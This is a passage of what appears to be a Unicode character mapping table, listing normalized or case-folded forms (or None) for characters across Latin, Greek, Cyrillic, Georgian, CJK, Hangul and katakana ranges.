"ƣ", - None, - "ƥ", - None, - "ʀ", - "ƨ", - None, - "ʃ", - None, - "ƭ", - None, - "ʈ", - "ư", - None, - "ʊ", - "ʋ", - "ƴ", - None, - "ƶ", - None, - "ʒ", - "ƹ", - None, - "ƽ", - None, - "dž", - "lj", - "nj", - "ǎ", - None, - "ǐ", - None, - "ǒ", - None, - "ǔ", - None, - "ǖ", - None, - "ǘ", - None, - "ǚ", - None, - "ǜ", - None, - "ǟ", - None, - "ǡ", - None, - "ǣ", - None, - "ǥ", - None, - "ǧ", - None, - "ǩ", - None, - "ǫ", - None, - "ǭ", - None, - "ǯ", - None, - "dz", - "ǵ", - None, - "ƕ", - "ƿ", - "ǹ", - None, - "ǻ", - None, - "ǽ", - None, - "ǿ", - None, - "ȁ", - None, - "ȃ", - None, - "ȅ", - None, - "ȇ", - None, - "ȉ", - None, - "ȋ", - None, - "ȍ", - None, - "ȏ", - None, - "ȑ", - None, - "ȓ", - None, - "ȕ", - None, - "ȗ", - None, - "ș", - None, - "ț", - None, - "ȝ", - None, - "ȟ", - None, - "ƞ", - None, - "ȣ", - None, - "ȥ", - None, - "ȧ", - None, - "ȩ", - None, - "ȫ", - None, - "ȭ", - None, - "ȯ", - None, - "ȱ", - None, - "ȳ", - None, - "ⱥ", - "ȼ", - None, - "ƚ", - "ⱦ", - None, - "ɂ", - None, - "ƀ", - "ʉ", - "ʌ", - "ɇ", - None, - "ɉ", - None, - "ɋ", - None, - "ɍ", - None, - "ɏ", - None, - "h", - "ɦ", - "j", - "r", - "ɹ", - "ɻ", - "ʁ", - "w", - "y", - None, - " ̆", - " ̇", - " ̊", - " ̨", - " ̃", - " ̋", - None, - "ɣ", - "l", - "s", - "x", - "ʕ", - None, - "̀", - "́", - None, - "̓", - "̈́", - "ι", - None, - None, - None, - "ͱ", - None, - "ͳ", - None, - "ʹ", - None, - "ͷ", - None, - None, - " ι", - None, - ";", - "ϳ", - None, - " ́", - " ̈́", - "ά", - "·", - "έ", - "ή", - "ί", - None, - "ό", - None, - "ύ", - "ώ", - None, - "α", - "β", - "γ", - "δ", - "ε", - "ζ", - "η", - "θ", - "ι", - "κ", - "λ", - "μ", - "ν", - "ξ", - "ο", - "π", - "ρ", - None, - "σ", - "τ", - "υ", - "φ", - "χ", - "ψ", - "ω", - "ϊ", - "ϋ", - None, - "σ", - None, - "ϗ", - "β", - "θ", - "υ", - "ύ", - "ϋ", - "φ", - "π", - None, - "ϙ", - None, - "ϛ", - None, - "ϝ", - None, - "ϟ", - None, - "ϡ", - None, - "ϣ", - None, - "ϥ", - None, - "ϧ", - None, - "ϩ", - None, - "ϫ", - None, - "ϭ", - None, - "ϯ", - None, - "κ", - "ρ", - "σ", - None, - "θ", - "ε", - None, - "ϸ", - None, - "σ", - "ϻ", - None, - "ͻ", - "ͼ", - "ͽ", - "ѐ", - "ё", - "ђ", - "ѓ", - "є", - "ѕ", - "і", - "ї", - "ј", - "љ", - "њ", - "ћ", - "ќ", - "ѝ", - "ў", - "џ", - "а", - "б", - "в", - "г", - "д", - "е", - "ж", - "з", - "и", - "й", - "к", - "л", - "м", - "н", - "о", - "п", - "р", - "с", - "т", - "у", - "ф", - "х", - "ц", - "ч", - "ш", - "щ", - "ъ", - "ы", - "ь", - "э", - "ю", - "я", - None, - "ѡ", - None, - "ѣ", - None, - "ѥ", - None, - "ѧ", - None, - "ѩ", - None, - "ѫ", - None, - "ѭ", - None, - "ѯ", - None, - "ѱ", - None, - "ѳ", - None, - "ѵ", - None, - "ѷ", - None, - "ѹ", - None, - "ѻ", - None, - "ѽ", - None, - "ѿ", - None, - "ҁ", - None, - "ҋ", - None, - "ҍ", - None, - "ҏ", - None, - "ґ", - None, - "ғ", - None, - "ҕ", - None, - "җ", - None, - "ҙ", - None, - "қ", - None, - "ҝ", - None, - "ҟ", - None, - "ҡ", - None, - "ң", - None, - "ҥ", - None, - "ҧ", - None, - "ҩ", - None, - "ҫ", - None, - "ҭ", - None, - "ү", - None, - "ұ", - None, - "ҳ", - None, - "ҵ", - None, - "ҷ", - None, - "ҹ", - None, - "һ", - None, - "ҽ", - None, - "ҿ", - None, - "ӏ", - "ӂ", - None, - "ӄ", - None, - "ӆ", - None, - "ӈ", - None, - "ӊ", - None, - "ӌ", - None, - "ӎ", - None, - "ӑ", - None, - "ӓ", - None, - "ӕ", - None, - "ӗ", - None, - "ә", - None, - "ӛ", - None, - "ӝ", - None, - "ӟ", - None, - "ӡ", - None, - "ӣ", - None, - "ӥ", - None, - "ӧ", - None, - "ө", - None, - "ӫ", - None, - "ӭ", - None, - "ӯ", - None, - "ӱ", - None, - "ӳ", - None, - "ӵ", - None, - "ӷ", - None, - "ӹ", - None, - "ӻ", - None, - "ӽ", - None, - "ӿ", - None, - "ԁ", - None, - "ԃ", - None, - "ԅ", - None, - "ԇ", - None, - "ԉ", - None, - "ԋ", - None, - "ԍ", - None, - "ԏ", - None, - "ԑ", - None, - "ԓ", - None, - "ԕ", - None, - "ԗ", - None, - "ԙ", - None, - "ԛ", - None, - "ԝ", - None, - "ԟ", - None, - "ԡ", - None, - "ԣ", - None, - "ԥ", - None, - "ԧ", - None, - "ԩ", - None, - "ԫ", - None, - "ԭ", - None, - "ԯ", - None, - None, - "ա", - "բ", - "գ", - "դ", - "ե", - "զ", - "է", - "ը", - "թ", - "ժ", - "ի", - "լ", - "խ", - "ծ", - "կ", - "հ", - "ձ", - "ղ", - "ճ", - "մ", - "յ", - "ն", - "շ", - "ո", - "չ", - "պ", - "ջ", - "ռ", - "ս", - "վ", - "տ", - "ր", - "ց", - "ւ", - "փ", - "ք", - "օ", - "ֆ", - None, - None, - "եւ", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "اٴ", - "وٴ", - "ۇٴ", - "يٴ", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "क़", - "ख़", - "ग़", - "ज़", - "ड़", - "ढ़", - "फ़", - "य़", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "ড়", - "ঢ়", - None, - "য়", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "ਲ਼", - None, - None, - "ਸ਼", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "ਖ਼", - "ਗ਼", - "ਜ਼", - None, - None, - "ਫ਼", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "ଡ଼", - "ଢ଼", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "ํา", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "ໍາ", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "ຫນ", - "ຫມ", - None, - None, - None, - "་", - None, - "གྷ", - None, - None, - None, - "ཌྷ", - None, - "དྷ", - None, - "བྷ", - None, - "ཛྷ", - None, - "ཀྵ", - None, - None, - None, - "ཱི", - None, - "ཱུ", - "ྲྀ", - "ྲཱྀ", - "ླྀ", - "ླཱྀ", - None, - "ཱྀ", - None, - "ྒྷ", - None, - None, - None, - "ྜྷ", - None, - "ྡྷ", - None, - "ྦྷ", - None, - "ྫྷ", - None, - "ྐྵ", - None, - None, - None, - None, - None, - None, - None, - "ⴀ", - "ⴁ", - "ⴂ", - "ⴃ", - "ⴄ", - "ⴅ", - "ⴆ", - "ⴇ", - "ⴈ", - "ⴉ", - "ⴊ", - "ⴋ", - "ⴌ", - "ⴍ", - "ⴎ", - "ⴏ", - "ⴐ", - "ⴑ", - "ⴒ", - "ⴓ", - "ⴔ", - "ⴕ", - "ⴖ", - "ⴗ", - "ⴘ", - "ⴙ", - "ⴚ", - "ⴛ", - "ⴜ", - "ⴝ", - "ⴞ", - "ⴟ", - "ⴠ", - "ⴡ", - "ⴢ", - "ⴣ", - "ⴤ", - "ⴥ", - None, - "ⴧ", - None, - "ⴭ", - None, - None, - "ნ", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "Ᏸ", - "Ᏹ", - "Ᏺ", - "Ᏻ", - "Ᏼ", - "Ᏽ", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "в", - "д", - "о", - "с", - "т", - "ъ", - "ѣ", - "ꙋ", - "ᲊ", - None, - None, - "ა", - "ბ", - "გ", - "დ", - "ე", - "ვ", - "ზ", - "თ", - "ი", - "კ", - "ლ", - "მ", - "ნ", - "ო", - "პ", - "ჟ", - "რ", - "ს", - "ტ", - "უ", - "ფ", - "ქ", - "ღ", - "ყ", - "შ", - "ჩ", - "ც", - "ძ", - "წ", - "ჭ", - "ხ", - "ჯ", - "ჰ", - "ჱ", - "ჲ", - "ჳ", - "ჴ", - "ჵ", - "ჶ", - "ჷ", - "ჸ", - "ჹ", - "ჺ", - None, - "ჽ", - "ჾ", - "ჿ", - None, - None, - None, - None, - None, - "a", - "æ", - "b", - None, - "d", - "e", - "ǝ", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - None, - "o", - "ȣ", - "p", - "r", - "t", - "u", - "w", - "a", - "ɐ", - "ɑ", - "ᴂ", - "b", - "d", - "e", - "ə", - "ɛ", - "ɜ", - "g", - None, - "k", - "m", - "ŋ", - "o", - "ɔ", - "ᴖ", - "ᴗ", - "p", - "t", - "u", - "ᴝ", - "ɯ", - "v", - "ᴥ", - "β", - "γ", - "δ", - "φ", - "χ", - "i", - "r", - "u", - "v", - "β", - "γ", - "ρ", - "φ", - "χ", - None, - "н", - None, - "ɒ", - "c", - "ɕ", - "ð", - "ɜ", - "f", - "ɟ", - "ɡ", - "ɥ", - "ɨ", - "ɩ", - "ɪ", - "ᵻ", - "ʝ", - "ɭ", - "ᶅ", - "ʟ", - "ɱ", - "ɰ", - "ɲ", - "ɳ", - "ɴ", - "ɵ", - "ɸ", - "ʂ", - "ʃ", - "ƫ", - "ʉ", - "ʊ", - "ᴜ", - "ʋ", - "ʌ", - "z", - "ʐ", - "ʑ", - "ʒ", - "θ", - None, - "ḁ", - None, - "ḃ", - None, - "ḅ", - None, - "ḇ", - None, - "ḉ", - None, - "ḋ", - None, - "ḍ", - None, - "ḏ", - None, - "ḑ", - None, - "ḓ", - None, - "ḕ", - None, - "ḗ", - None, - "ḙ", - None, - "ḛ", - None, - "ḝ", - None, - "ḟ", - None, - "ḡ", - None, - "ḣ", - None, - "ḥ", - None, - "ḧ", - None, - "ḩ", - None, - "ḫ", - None, - "ḭ", - None, - "ḯ", - None, - "ḱ", - None, - "ḳ", - None, - "ḵ", - None, - "ḷ", - None, - "ḹ", - None, - "ḻ", - None, - "ḽ", - None, - "ḿ", - None, - "ṁ", - None, - "ṃ", - None, - "ṅ", - None, - "ṇ", - None, - "ṉ", - None, - "ṋ", - None, - "ṍ", - None, - "ṏ", - None, - "ṑ", - None, - "ṓ", - None, - "ṕ", - None, - "ṗ", - None, - "ṙ", - None, - "ṛ", - None, - "ṝ", - None, - "ṟ", - None, - "ṡ", - None, - "ṣ", - None, - "ṥ", - None, - "ṧ", - None, - "ṩ", - None, - "ṫ", - None, - "ṭ", - None, - "ṯ", - None, - "ṱ", - None, - "ṳ", - None, - "ṵ", - None, - "ṷ", - None, - "ṹ", - None, - "ṻ", - None, - "ṽ", - None, - "ṿ", - None, - "ẁ", - None, - "ẃ", - None, - "ẅ", - None, - "ẇ", - None, - "ẉ", - None, - "ẋ", - None, - "ẍ", - None, - "ẏ", - None, - "ẑ", - None, - "ẓ", - None, - "ẕ", - None, - "aʾ", - "ṡ", - None, - "ß", - None, - "ạ", - None, - "ả", - None, - "ấ", - None, - "ầ", - None, - "ẩ", - None, - "ẫ", - None, - "ậ", - None, - "ắ", - None, - "ằ", - None, - "ẳ", - None, - "ẵ", - None, - "ặ", - None, - "ẹ", - None, - "ẻ", - None, - "ẽ", - None, - "ế", - None, - "ề", - None, - "ể", - None, - "ễ", - None, - "ệ", - None, - "ỉ", - None, - "ị", - None, - "ọ", - None, - "ỏ", - None, - "ố", - None, - "ồ", - None, - "ổ", - None, - "ỗ", - None, - "ộ", - None, - "ớ", - None, - "ờ", - None, - "ở", - None, - "ỡ", - None, - "ợ", - None, - "ụ", - None, - "ủ", - None, - "ứ", - None, - "ừ", - None, - "ử", - None, - "ữ", - None, - "ự", - None, - "ỳ", - None, - "ỵ", - None, - "ỷ", - None, - "ỹ", - None, - "ỻ", - None, - "ỽ", - None, - "ỿ", - None, - "ἀ", - "ἁ", - "ἂ", - "ἃ", - "ἄ", - "ἅ", - "ἆ", - "ἇ", - None, - None, - "ἐ", - "ἑ", - "ἒ", - "ἓ", - "ἔ", - "ἕ", - None, - None, - "ἠ", - "ἡ", - "ἢ", - "ἣ", - "ἤ", - "ἥ", - "ἦ", - "ἧ", - None, - "ἰ", - "ἱ", - "ἲ", - "ἳ", - "ἴ", - "ἵ", - "ἶ", - "ἷ", - None, - None, - "ὀ", - "ὁ", - "ὂ", - "ὃ", - "ὄ", - "ὅ", - None, - None, - None, - "ὑ", - None, - "ὓ", - None, - "ὕ", - None, - "ὗ", - None, - "ὠ", - "ὡ", - "ὢ", - "ὣ", - "ὤ", - "ὥ", - "ὦ", - "ὧ", - None, - "ά", - None, - "έ", - None, - "ή", - None, - "ί", - None, - "ό", - None, - "ύ", - None, - "ώ", - None, - "ἀι", - "ἁι", - "ἂι", - "ἃι", - "ἄι", - "ἅι", - "ἆι", - "ἇι", - "ἀι", - "ἁι", - "ἂι", - "ἃι", - "ἄι", - "ἅι", - "ἆι", - "ἇι", - "ἠι", - "ἡι", - "ἢι", - "ἣι", - "ἤι", - "ἥι", - "ἦι", - "ἧι", - "ἠι", - "ἡι", - "ἢι", - "ἣι", - "ἤι", - "ἥι", - "ἦι", - "ἧι", - "ὠι", - "ὡι", - "ὢι", - "ὣι", - "ὤι", - "ὥι", - "ὦι", - "ὧι", - "ὠι", - "ὡι", - "ὢι", - "ὣι", - "ὤι", - "ὥι", - "ὦι", - "ὧι", - None, - "ὰι", - "αι", - "άι", - None, - None, - "ᾶι", - "ᾰ", - "ᾱ", - "ὰ", - "ά", - "αι", - " ̓", - "ι", - " ̓", - " ͂", - " ̈͂", - "ὴι", - "ηι", - "ήι", - None, - None, - "ῆι", - "ὲ", - "έ", - "ὴ", - "ή", - "ηι", - " ̓̀", - " ̓́", - " ̓͂", - None, - "ΐ", - None, - None, - "ῐ", - "ῑ", - "ὶ", - "ί", - None, - " ̔̀", - " ̔́", - " ̔͂", - None, - "ΰ", - None, - "ῠ", - "ῡ", - "ὺ", - "ύ", - "ῥ", - " ̈̀", - " ̈́", - "`", - None, - "ὼι", - "ωι", - "ώι", - None, - None, - "ῶι", - "ὸ", - "ό", - "ὼ", - "ώ", - "ωι", - " ́", - " ̔", - None, - " ", - None, - "", - None, - None, - "‐", - None, - " ̳", - None, - None, - None, - None, - " ", - None, - "′′", - "′′′", - None, - "‵‵", - "‵‵‵", - None, - "!!", - None, - " ̅", - None, - "??", - "?!", - "!?", - None, - "′′′′", - None, - " ", - None, - None, - None, - "0", - "i", - None, - "4", - "5", - "6", - "7", - "8", - "9", - "+", - "−", - "=", - "(", - ")", - "n", - "0", - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "+", - "−", - "=", - "(", - ")", - None, - "a", - "e", - "o", - "x", - "ə", - "h", - "k", - "l", - "m", - "n", - "p", - "s", - "t", - None, - None, - "rs", - None, - None, - None, - None, - "a/c", - "a/s", - "c", - "°c", - None, - "c/o", - "c/u", - "ɛ", - None, - "°f", - "g", - "h", - "ħ", - "i", - "l", - None, - "n", - "no", - None, - "p", - "q", - "r", - None, - "sm", - "tel", - "tm", - None, - "z", - None, - "ω", - None, - "z", - None, - "k", - "å", - "b", - "c", - None, - "e", - "f", - "ⅎ", - "m", - "o", - "א", - "ב", - "ג", - "ד", - "i", - None, - "fax", - "π", - "γ", - "π", - "∑", - None, - "d", - "e", - "i", - "j", - None, - "1⁄7", - "1⁄9", - "1⁄10", - "1⁄3", - "2⁄3", - "1⁄5", - "2⁄5", - "3⁄5", - "4⁄5", - "1⁄6", - "5⁄6", - "1⁄8", - "3⁄8", - "5⁄8", - "7⁄8", - "1⁄", - "i", - "ii", - "iii", - "iv", - "v", - "vi", - "vii", - "viii", - "ix", - "x", - "xi", - "xii", - "l", - "c", - "d", - "m", - "i", - "ii", - "iii", - "iv", - "v", - "vi", - "vii", - "viii", - "ix", - "x", - "xi", - "xii", - "l", - "c", - "d", - "m", - None, - "ↄ", - None, - "0⁄3", - None, - None, - None, - "∫∫", - "∫∫∫", - None, - "∮∮", - "∮∮∮", - None, - "〈", - "〉", - None, - None, - None, - None, - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11", - "12", - "13", - "14", - "15", - "16", - "17", - "18", - "19", - "20", - "(1)", - "(2)", - "(3)", - "(4)", - "(5)", - "(6)", - "(7)", - "(8)", - "(9)", - "(10)", - "(11)", - "(12)", - "(13)", - "(14)", - "(15)", - "(16)", - "(17)", - "(18)", - "(19)", - "(20)", - None, - "(a)", - "(b)", - "(c)", - "(d)", - "(e)", - "(f)", - "(g)", - "(h)", - "(i)", - "(j)", - "(k)", - "(l)", - "(m)", - "(n)", - "(o)", - "(p)", - "(q)", - "(r)", - "(s)", - "(t)", - "(u)", - "(v)", - "(w)", - "(x)", - "(y)", - "(z)", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "0", - None, - "∫∫∫∫", - None, - "::=", - "==", - "===", - None, - "⫝̸", - None, - None, - None, - "ⰰ", - "ⰱ", - "ⰲ", - "ⰳ", - "ⰴ", - "ⰵ", - "ⰶ", - "ⰷ", - "ⰸ", - "ⰹ", - "ⰺ", - "ⰻ", - "ⰼ", - "ⰽ", - "ⰾ", - "ⰿ", - "ⱀ", - "ⱁ", - "ⱂ", - "ⱃ", - "ⱄ", - "ⱅ", - "ⱆ", - "ⱇ", - "ⱈ", - "ⱉ", - "ⱊ", - "ⱋ", - "ⱌ", - "ⱍ", - "ⱎ", - "ⱏ", - "ⱐ", - "ⱑ", - "ⱒ", - "ⱓ", - "ⱔ", - "ⱕ", - "ⱖ", - "ⱗ", - "ⱘ", - "ⱙ", - "ⱚ", - "ⱛ", - "ⱜ", - "ⱝ", - "ⱞ", - "ⱟ", - None, - "ⱡ", - None, - "ɫ", - "ᵽ", - "ɽ", - None, - "ⱨ", - None, - "ⱪ", - None, - "ⱬ", - None, - "ɑ", - "ɱ", - "ɐ", - "ɒ", - None, - "ⱳ", - None, - "ⱶ", - None, - "j", - "v", - "ȿ", - "ɀ", - "ⲁ", - None, - "ⲃ", - None, - "ⲅ", - None, - "ⲇ", - None, - "ⲉ", - None, - "ⲋ", - None, - "ⲍ", - None, - "ⲏ", - None, - "ⲑ", - None, - "ⲓ", - None, - "ⲕ", - None, - "ⲗ", - None, - "ⲙ", - None, - "ⲛ", - None, - "ⲝ", - None, - "ⲟ", - None, - "ⲡ", - None, - "ⲣ", - None, - "ⲥ", - None, - "ⲧ", - None, - "ⲩ", - None, - "ⲫ", - None, - "ⲭ", - None, - "ⲯ", - None, - "ⲱ", - None, - "ⲳ", - None, - "ⲵ", - None, - "ⲷ", - None, - "ⲹ", - None, - "ⲻ", - None, - "ⲽ", - None, - "ⲿ", - None, - "ⳁ", - None, - "ⳃ", - None, - "ⳅ", - None, - "ⳇ", - None, - "ⳉ", - None, - "ⳋ", - None, - "ⳍ", - None, - "ⳏ", - None, - "ⳑ", - None, - "ⳓ", - None, - "ⳕ", - None, - "ⳗ", - None, - "ⳙ", - None, - "ⳛ", - None, - "ⳝ", - None, - "ⳟ", - None, - "ⳡ", - None, - "ⳣ", - None, - "ⳬ", - None, - "ⳮ", - None, - "ⳳ", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "ⵡ", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "母", - None, - "龟", - None, - "一", - "丨", - "丶", - "丿", - "乙", - "亅", - "二", - "亠", - "人", - "儿", - "入", - "八", - "冂", - "冖", - "冫", - "几", - "凵", - "刀", - "力", - "勹", - "匕", - "匚", - "匸", - "十", - "卜", - "卩", - "厂", - "厶", - "又", - "口", - "囗", - "土", - "士", - "夂", - "夊", - "夕", - "大", - "女", - "子", - "宀", - "寸", - "小", - "尢", - "尸", - "屮", - "山", - "巛", - "工", - "己", - "巾", - "干", - "幺", - "广", - "廴", - "廾", - "弋", - "弓", - "彐", - "彡", - "彳", - "心", - "戈", - "戶", - "手", - "支", - "攴", - "文", - "斗", - "斤", - "方", - "无", - "日", - "曰", - "月", - "木", - "欠", - "止", - "歹", - "殳", - "毋", - "比", - "毛", - "氏", - "气", - "水", - "火", - "爪", - "父", - "爻", - "爿", - "片", - "牙", - "牛", - "犬", - "玄", - "玉", - "瓜", - "瓦", - "甘", - "生", - "用", - "田", - "疋", - "疒", - "癶", - "白", - "皮", - "皿", - "目", - "矛", - "矢", - "石", - "示", - "禸", - "禾", - "穴", - "立", - "竹", - "米", - "糸", - "缶", - "网", - "羊", - "羽", - "老", - "而", - "耒", - "耳", - "聿", - "肉", - "臣", - "自", - "至", - "臼", - "舌", - "舛", - "舟", - "艮", - "色", - "艸", - "虍", - "虫", - "血", - "行", - "衣", - "襾", - "見", - "角", - "言", - "谷", - "豆", - "豕", - "豸", - "貝", - "赤", - "走", - "足", - "身", - "車", - "辛", - "辰", - "辵", - "邑", - "酉", - "釆", - "里", - "金", - "長", - "門", - "阜", - "隶", - "隹", - "雨", - "靑", - "非", - "面", - "革", - "韋", - "韭", - "音", - "頁", - "風", - "飛", - "食", - "首", - "香", - "馬", - "骨", - "高", - "髟", - "鬥", - "鬯", - "鬲", - "鬼", - "魚", - "鳥", - "鹵", - "鹿", - "麥", - "麻", - "黃", - "黍", - "黑", - "黹", - "黽", - "鼎", - "鼓", - "鼠", - "鼻", - "齊", - "齒", - "龍", - "龜", - "龠", - None, - " ", - None, - ".", - None, - "〒", - None, - "十", - "卄", - "卅", - None, - None, - None, - None, - None, - " ゙", - " ゚", - None, - "より", - None, - "コト", - None, - None, - None, - "ᄀ", - "ᄁ", - "ᆪ", - "ᄂ", - "ᆬ", - "ᆭ", - "ᄃ", - "ᄄ", - "ᄅ", - "ᆰ", - "ᆱ", - "ᆲ", - "ᆳ", - "ᆴ", - "ᆵ", - "ᄚ", - "ᄆ", - "ᄇ", - "ᄈ", - "ᄡ", - "ᄉ", - "ᄊ", - "ᄋ", - "ᄌ", - "ᄍ", - "ᄎ", - "ᄏ", - "ᄐ", - "ᄑ", - "ᄒ", - "ᅡ", - "ᅢ", - "ᅣ", - "ᅤ", - "ᅥ", - "ᅦ", - "ᅧ", - "ᅨ", - "ᅩ", - "ᅪ", - "ᅫ", - "ᅬ", - "ᅭ", - "ᅮ", - "ᅯ", - "ᅰ", - "ᅱ", - "ᅲ", - "ᅳ", - "ᅴ", - "ᅵ", - None, - "ᄔ", - "ᄕ", - "ᇇ", - "ᇈ", - "ᇌ", - "ᇎ", - "ᇓ", - "ᇗ", - "ᇙ", - "ᄜ", - "ᇝ", - "ᇟ", - "ᄝ", - "ᄞ", - "ᄠ", - "ᄢ", - "ᄣ", - "ᄧ", - "ᄩ", - "ᄫ", - "ᄬ", - "ᄭ", - "ᄮ", - "ᄯ", - "ᄲ", - "ᄶ", - "ᅀ", - "ᅇ", - "ᅌ", - "ᇱ", - "ᇲ", - "ᅗ", - "ᅘ", - "ᅙ", - "ᆄ", - "ᆅ", - "ᆈ", - "ᆑ", - "ᆒ", - "ᆔ", - "ᆞ", - "ᆡ", - None, - None, - "一", - "二", - "三", - "四", - "上", - "中", - "下", - "甲", - "乙", - "丙", - "丁", - "天", - "地", - "人", - None, - None, - None, - "(ᄀ)", - "(ᄂ)", - "(ᄃ)", - "(ᄅ)", - "(ᄆ)", - "(ᄇ)", - "(ᄉ)", - "(ᄋ)", - "(ᄌ)", - "(ᄎ)", - "(ᄏ)", - "(ᄐ)", - "(ᄑ)", - "(ᄒ)", - "(가)", - "(나)", - "(다)", - "(라)", - "(마)", - "(바)", - "(사)", - "(아)", - "(자)", - "(차)", - "(카)", - "(타)", - "(파)", - "(하)", - "(주)", - "(오전)", - "(오후)", - None, - "(一)", - "(二)", - "(三)", - "(四)", - "(五)", - "(六)", - "(七)", - "(八)", - "(九)", - "(十)", - "(月)", - "(火)", - "(水)", - "(木)", - "(金)", - "(土)", - "(日)", - "(株)", - "(有)", - "(社)", - "(名)", - "(特)", - "(財)", - "(祝)", - "(労)", - "(代)", - "(呼)", - "(学)", - "(監)", - "(企)", - "(資)", - "(協)", - "(祭)", - "(休)", - "(自)", - "(至)", - "問", - "幼", - "文", - "箏", - None, - "pte", - "21", - "22", - "23", - "24", - "25", - "26", - "27", - "28", - "29", - "30", - "31", - "32", - "33", - "34", - "35", - "ᄀ", - "ᄂ", - "ᄃ", - "ᄅ", - "ᄆ", - "ᄇ", - "ᄉ", - "ᄋ", - "ᄌ", - "ᄎ", - "ᄏ", - "ᄐ", - "ᄑ", - "ᄒ", - "가", - "나", - "다", - "라", - "마", - "바", - "사", - "아", - "자", - "차", - "카", - "타", - "파", - "하", - "참고", - "주의", - "우", - None, - "一", - "二", - "三", - "四", - "五", - "六", - "七", - "八", - "九", - "十", - "月", - "火", - "水", - "木", - "金", - "土", - "日", - "株", - "有", - "社", - "名", - "特", - "財", - "祝", - "労", - "秘", - "男", - "女", - "適", - "優", - "印", - "注", - "項", - "休", - "写", - "正", - "上", - "中", - "下", - "左", - "右", - "医", - "宗", - "学", - "監", - "企", - "資", - "協", - "夜", - "36", - "37", - "38", - "39", - "40", - "41", - "42", - "43", - "44", - "45", - "46", - "47", - "48", - "49", - "50", - "1月", - "2月", - "3月", - "4月", - "5月", - "6月", - "7月", - "8月", - "9月", - "10月", - "11月", - "12月", - "hg", - "erg", - "ev", - "ltd", - "ア", - "イ", - "ウ", - "エ", - "オ", - "カ", - "キ", - "ク", - "ケ", - "コ", - "サ", - "シ", - "ス", - "セ", - "ソ", - "タ", - "チ", - "ツ", - "テ", - "ト", - "ナ", - "ニ", - "ヌ", - "ネ", - "ノ", - "ハ", - "ヒ", - "フ", - "ヘ", - "ホ", - "マ", - "ミ", - "ム", - "メ", - "モ", - "ヤ", - "ユ", - "ヨ", - "ラ", - "リ", - "ル", - "レ", - "ロ", - "ワ", - "ヰ", - "ヱ", - "ヲ", - "令和", - "アパート", - "アルファ", - "アンペア", - "アール", - "イニング", - "インチ", - "ウォン", - "エスクード", - "エーカー", - "オンス", - "オーム", - "カイリ", - "カラット", - "カロリー", - "ガロン", - "ガンマ", - "ギガ", - "ギニー", - "キュリー", - "ギルダー", - "キロ", - "キログラム", - "キロメートル", - "キロワット", - "グラム", - "グラムトン", - "クルゼイロ", - "クローネ", - "ケース", - "コルナ", - "コーポ", - "サイクル", - "サンチーム", - "シリング", - "センチ", - "セント", - "ダース", - "デシ", - "ドル", - "トン", - "ナノ", - "ノット", - "ハイツ", - "パーセント", - "パーツ", - "バーレル", - "ピアストル", - "ピクル", - "ピコ", - "ビル", - "ファラッド", - "フィート", - "ブッシェル", - "フラン", - "ヘクタール", - "ペソ", - "ペニヒ", - "ヘルツ", - "ペンス", - "ページ", - "ベータ", - "ポイント", - "ボルト", - "ホン", - "ポンド", - "ホール", - "ホーン", - "マイクロ", - "マイル", - "マッハ", - "マルク", - "マンション", - "ミクロン", - "ミリ", - "ミリバール", - "メガ", - "メガトン", - "メートル", - "ヤード", - "ヤール", - "ユアン", - "リットル", - "リラ", - "ルピー", - "ルーブル", - "レム", - "レントゲン", - "ワット", - "0点", - "1点", - "2点", - "3点", - "4点", - "5点", - "6点", - "7点", - 